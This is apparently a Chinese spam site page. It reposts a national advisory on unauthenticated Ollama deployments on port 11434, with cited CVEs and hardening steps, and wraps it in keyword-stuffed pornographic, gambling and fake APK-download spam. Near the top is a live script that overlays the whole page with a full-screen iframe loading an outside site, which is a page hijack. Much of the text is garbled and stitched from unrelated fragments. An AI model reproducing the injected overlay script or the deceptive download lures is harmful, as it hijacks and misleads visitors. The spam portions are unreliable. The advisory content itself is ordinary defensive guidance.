首页 ›黑料吃瓜›内容详情

网慧聪网家居首发:抖音网红黑料吃瓜网站-精品吃瓜黑料不打烊-国家网络安全通报中心：大模型工具Ollama存在安全风险

alan 黑料吃瓜 2025-03-03 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

据清华大学网络空间测绘联合研究中心分析，开源跨平台大模型工具Ollama默认配置存在未授权访问与模型窃取等安全隐患。鉴于目前DeepSeek等大模型的研究部署和应用非常广泛，多数用户使用Ollama私有化部署且未修改默认配置，存在数据泄露、算力盗取、服务中断等安全风险，极易引发网络和数据安全事件。

一、风险隐患详情

使用Ollma在本地部署DeepSeek等大模型时，会在本地启动一个Web服务，并默认开放11434端口且无任何鉴权机制。该服务直接暴露在公网环境，存在以下风险：

1、未授权访问：未授权用户能够随意访问模型，并利用特定工具直接对模型及其数据进行操作，攻击者无需认证即可调用模型服务、获取模型信息，甚至通过恶意指令删除模型文件或窃取数据。

2、数据泄露：通过特定接口可访问并提取模型数据，引发数据泄露风险。如：通过/api/show接口，攻击者能够获取模型的license等敏感信息，以及其他接口获取已部署模型的相关敏感数据信息。

3、攻击者可利用Ollama框架历史漏洞（CVE-2024-39720/39722/39719/39721），直接调用模型接口实施数据投毒、参数窃取、恶意文件上传及关键组件删除等操作，造成模型服务的核心数据、算法完整性和运行稳定性面临安全风险。

二、安全加固建议

1、限制Ollama监听范围：仅允许11434端口本地访问，并验证端口状态。

2、配置防火墙规则：对公网接口实施双向端口过滤，阻断11434端口的出入站流量。

3、实施多层认证与访问控制：启用API密钥管理，定期更换密钥并限制调用频率。部署IP白名单或零信任架构，仅授权可信设备访问。

4、禁用危险操作接口：如push/delete/pull等，并限制chat接口的调用频率以防DDoS攻击。

5、历史漏洞修复：及时更新Ollama至安全版本，修复已知安全漏洞。

目前，已有大量存在此类安全隐患的服务器暴露在互联网上。建议广大用户加强隐患排查，及时进行安全加固，发现遭网络攻击情况第一时间向当地公安网安部门报告，配合公安网安部门开展调查处置工作。

国家网络与信息安全信息通报中心将进一步加强监测并适时发布后续通报。

本文地址：http://www.jiatingjiaoyuyanjiu.com/post/14581.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > 精品99网站
免费韩漫在线阅读漫画入口

激情777

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载啊∽你tm别㖭了我的草莓了安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
麻豆国产AV0 日韩欧美在线观看视频一区二区1 伊人小猫咪2 羞羞漫画官方在线观看。3 香蕉视频在线观4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 黑料不打烊tttzzz蔡萝莉
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，红果免费剧短一天收入，天龙特工队电影在线观看
二，男生还没开始就有粘液是什么，情欲秘书(H)在线阅读
三，成长中让我印象深刻的作文2，张无忌武当山大战视频
四，人在王者从攻略云缨开始，中国人免费观看HD 导演内详
五，国家广电全媒体运营师证书官网，我们班的班花是个小烧杯作文
六，为什么三人组都是两男一女，麻豆传媒app破解版在线看
七，凹凸世界第五季免费全部，粉色苏州晶体sio91C罗

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
男人一次性多久才算正常，怎么关闭百度地图自动开启

免费啪视频在线观看

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • 澳门码开奖记录15期开奖香港 4天前
    正确戒奶是挤掉还是涨回去
  • 笨蛋炮灰总被爆炒翻车了桃红色世界官方入口进 7天前
    AI人工智能课程教程
  • bgmbgmbgm老太太水太多 7天前
    班长没带罩子让捏了一节课视频
  • 色在线观看麻豆传媒 6天前
    人民网官网首页看直播
  • 翁帆产下一子四岁照片 2天前
    刘均演员黑料视频播放网站
  • 隔壁邻居大乳在线播放 4天前
    玖玖资源站365中文字幕
  • 欧美日韩视频在线第一区 5天前
    md传媒免费资源在线
  • 西装Gay老板办公室激情视频 4天前
    2个句号代表什么爱情暗示
  • 91四哥浙大传媒系在线 4天前
    午夜DJ视频观看在线WWW
  • 51朝阳热心群众台北娜娜 9天前
    最短的距离是圆的3在线观看
韩国大尺度做爰啪啪床戏
亚洲hairy欣赏pics大全 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有